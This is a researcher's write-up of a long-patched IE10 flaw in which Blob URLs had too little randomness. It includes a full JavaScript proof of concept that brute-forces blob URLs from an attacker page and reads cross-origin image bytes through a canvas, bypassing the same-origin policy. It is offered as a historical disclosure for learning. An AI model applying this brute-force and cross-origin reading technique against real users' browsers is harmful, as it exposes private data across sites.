IE10’s URL.createObjectURL() generated Blob URLs with insufficient randomness. Image blob URLs were readable by any domain in the same window — including cross-origin iframes. The only protection was that the attacker needed to know the exact URL. After playing around for a while, I realized the URL format only varied in a few nibbles with limited range, making brute-force practical.

<!-- attacker page -->
<iframe src="otherdomain.html"></iframe>
<input type="button" value="Run PoC - Find Blob Now!" onclick="main()">
<script>
var blobURL, middleBlockConst, iBlobs;
function main()
{
    var oXML = new XMLHttpRequest();
    oXML.open("GET", "dummy", false);
    oXML.responseType = "blob";
    oXML.send(null);
    blobURL = window.URL.createObjectURL(oXML.response);
    middleBlockConst = blobURL.substr(9,6);
    getNextBlob();
}

var firstBlockGuess, lastBlockGuess;
var firstBlockMax = parseInt("7FFF", 16);
var lastBlockMax = parseInt("FF", 16);
var gI = 0;
var blobFound = false;

var arrImages = new Array();
for (var i = 0; i <= lastBlockMax; i++)
{
    arrImages[i] = new Image();
}
function getNextBlob()
{
    if (gI <= firstBlockMax)
    {
        firstBlockGuess = gI.toString(16);
        firstBlockGuess = (Array(4 - firstBlockGuess.length + 1).join("0") + firstBlockGuess).toUpperCase();

        for (var j = 0; j <= lastBlockMax; j++)
        {
            lastBlockGuess = j.toString(16);
            lastBlockGuess = (lastBlockGuess.length < 2 ? ("0" + lastBlockGuess) : lastBlockGuess).toUpperCase();

            arrImages[j].onload = function()
            {
                blobFound = true;
                alert("Blob Found: " + this.src + "\n\nNow we will read the image bytes, bypassing the cross domain policy");
                readImageBytes(this);
            }
            if (j == (lastBlockMax-1))
            {
                arrImages[j].onerror = function()
                {
                    if (!blobFound) { setTimeout("getNextBlob();"); }
                }
            }
            arrImages[j].src = "blob:" + firstBlockGuess + middleBlockConst + lastBlockGuess;
        }
        gI++;
    }
}
function readImageBytes(oImg)
{
    var context = document.all.canvas.getContext("2d");
    context.drawImage(oImg, 0, 0);
    var imgData = context.getImageData(0, 0, oImg.width, oImg.height);
    var bytes = "";
    for (var i=0; i < imgData.data.length; i++)
    {
        bytes += imgData.data[i] + ",";
    }
    alert("These are the bytes from the xDomain image:\n\n" + bytes);
}
</script>
<canvas id="canvas"></canvas>

A Blob URL looked like blob:1A406103775E where only a few nibbles changed between calls, and the first nibble was always at most 7. That gave a search space of at most 8,388,607 values (0x7FFFFF). The PoC tried 256 candidates per tick using Image.onload as a hit detector, then read the image bytes via canvas.getImageData() — bypassing the same-origin policy for the image content.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.